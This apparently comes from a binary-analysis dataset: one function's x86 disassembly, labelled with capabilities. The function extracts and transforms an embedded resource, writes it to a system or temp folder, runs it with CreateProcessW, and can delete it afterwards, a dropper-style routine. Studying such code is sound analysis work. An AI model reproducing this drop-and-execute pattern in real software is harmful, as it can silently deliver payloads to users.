Function at 0x461830
Capabilities:
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6f0
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 0x14], eax
push 1
push 0x1a
lea eax, [ebp - 0x220]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x46188d
lea ecx, [ebp - 0x428]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0
jne 0x46188d
push str.C:WINDOWS_
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
lea eax, [ebp - 0x220]
push eax
call fcn.00406ed1
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jg 0x4618ac
xor eax, eax
jmp 0x461ab3
mov ecx, dword [ebp - 8]
movzx edx, word [ebp + ecx*2 - 0x222]
cmp edx, 0x5c
je 0x4618ce
push 0x487140
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCatW]
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
push 0
push 6
push 4
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x46190b
xor eax, eax
jmp 0x461ab3
push 0x487144
movzx ecx, word [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 4], 0
je 0x461aa7
cmp dword [ebp - 0xc], 0
je 0x461aa7
cmp dword [ebp - 0x42c], 0
je 0x461aa7
mov dword [ebp - 0x450], 0
lea ecx, [ebp - 0x450]
push ecx
push 0x49a3f8
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov eax, dword [ebp - 0x42c]
push eax
call fcn.00461060
add esp, 0x10
mov dword [ebp - 0x438], eax
push 0
lea ecx, [ebp - 0x434]
push ecx
mov edx, dword [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x450]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov eax, dword [ebp - 0x450]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x498], 0x44
push 0x40
push 0
lea ecx, [ebp - 0x494]
push ecx
call fcn.004067d0
add esp, 0xc
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x220]
push eax
push 0x48714c
lea ecx, [ebp - 0x6f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea edx, [ebp - 0x44c]
push edx
lea eax, [ebp - 0x498]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x6f0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0
jne 0x461a50
xor eax, eax
jmp 0x461ab3
cmp dword [ebp + 0x14], 0
je 0x461a6b
push 0
mov edx, dword [ebp + 0x14]
push edx
lea eax, [ebp - 0x220]
push eax
call fcn.00461770
add esp, 0xc
cmp dword [ebp + 0x18], 0
je 0x461a95
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x1c], 0
je 0x461a93
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x461aa0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
jmp 0x461ab3
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret